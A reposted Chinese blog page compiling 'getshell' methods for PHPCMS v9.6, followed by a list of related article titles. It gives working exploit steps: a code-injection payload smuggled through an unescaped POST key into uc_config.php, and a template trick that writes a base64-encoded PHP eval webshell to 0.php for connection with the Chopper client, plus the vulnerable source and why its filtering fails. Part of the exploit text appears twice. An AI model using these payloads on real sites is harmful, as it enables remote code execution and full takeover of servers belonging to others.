PHPCMS v9.6 Getshell方法大全
来源:互联网 发布:r语言 保存数据 编辑:程序博客网 时间:2024/06/18 16:01
V9.6管理员权限getshell:
漏洞存在地址:ROOTDIR/phpsso_server/phpcms/modules/admin/system.php
其中
代码贴出来:*/eval($_REQUEST['a']);//
name="data[uc_api','11');/*]"
phpcmsv9.6低权限提权(其他版本自测)
添加模板
<?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzVdKTs/Pg==')); ?>
如图一样填完直接保存就OK
然后
第二个模板,填完先别保存
跳到扩展设置
在专题模板那里对着专题首页右键查看元素后 定位到value='index'
然后替换成上一个模板的路径
../../../../html/special/test/index
注意这里test为你前面的模板名称
修改完毕后会在根目录生成一个0.php//这里可以在前面那段php代码修改 毕竟是写入
菜刀连接之
https://www.seebug.org/vuldb/ssvid-92959 phpcms任意文件下载
漏洞存在地址:ROOTDIR/phpsso_server/phpcms/modules/admin/system.php
public function uc() { if (isset($_POST['dosubmit'])) { $data = isset($_POST['data']) ? $_POST['data'] : ''; $data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0; $filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php'; $config = include $filepath; $uc_config = '<?php '."\ndefine('UC_CONNECT', 'mysql');\n"; foreach ($data as $k => $v) { $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',"; $new[] = "'$k'=>'$v',"; $uc_config .= "define('".strtoupper($k)."', '$v');\n"; } $html = file_get_contents($filepath); $html = str_replace($old, $new, $html); $uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php'; @file_put_contents($uc_config_filepath, $uc_config); @file_put_contents($filepath, $html); $this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1); showmessage(L('operation_success'), HTTP_REFERER); } $data = array(); $r = $this->db->get_one(array('name'=>'ucenter')); if ($r) { $data = string2array($r['data']); } include $this->admin_tpl('system_uc'); }
其中
$data = isset($_POST['data']) ? $_POST['data'] : '';
和
foreach ($data as $k => $v) {
$old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
$new[] = "'$k'=>'$v',";
$uc_config .= "define('".strtoupper($k)."', '$v');\n";
}
这里可以看到用post方式传递data中key,value并写入/phpsso_server/caches/configs/uc_config.php中
在ROOTDIR/phpcms/libs/classes/param.class.php中
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
全局过滤POST 但这里之过滤value 没过滤key
接下来看步骤
代码贴出来:*/eval($_REQUEST['a']);//
name="data[uc_api','11');/*]"
phpcmsv9.6低权限提权(其他版本自测)
添加模板
<?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzVdKTs/Pg==')); ?>
如图一样填完直接保存就OK
然后
第二个模板,填完先别保存
跳到扩展设置
在专题模板那里对着专题首页右键查看元素后 定位到value='index'
../../../../html/special/test/index
注意这里test为你前面的模板名称
修改完毕后会在根目录生成一个0.php//这里可以在前面那段php代码修改 毕竟是写入
菜刀连接之
阅读全文
0 0
- PHPCMS v9.6 Getshell方法大全
- phpcms V9 getshell exp
- phpcms V9 getshell exp
- PHPCMS v9 Getshell(Apache)
- phpcms v9.6.0版本getshell测试
- phpcms标签大全V9
- phpcms v9 模板标签技巧,标签调用方法大全
- phpcms v9 模板标签技巧,标签调用方法大全
- [v9] phpcms v9手机门户配置方法
- PHPCMS V9类调用方法
- phpcms v9手机门户配置方法
- phpcms v9 get标签调用代码大全
- phpcms v9 模板标签说明大全
- v9(PHPCMS)
- phpcms v9 关闭远程公告的方法
- phpcms v9 调用编辑器的方法
- phpcms v9 邮件群发实现方法
- phpcms v9域名更换处理方法
- Error while retrieving xids from resource
- SIP 协议之 简介 (一)
- 纯CSS实现SVG路径描边动画效果
- Paxos 算法
- C#托管代码与C++非托管代码互相调用
- PHPCMS v9.6 Getshell方法大全
- Python 头部 #!/usr/bin/python 和 #!/usr/bin/env 的区别
- NodeJS-Repl 常见指令
- leetcode 12|13. Integer to Roman && Roman to Integer
- zookeeper原理
- JAVA中获取当前系统时间
- 集合的初始化赋值
- 服务器PCIe SSD安装Ubuntu16.04
- 糟糕程序员和优秀程序员的区别?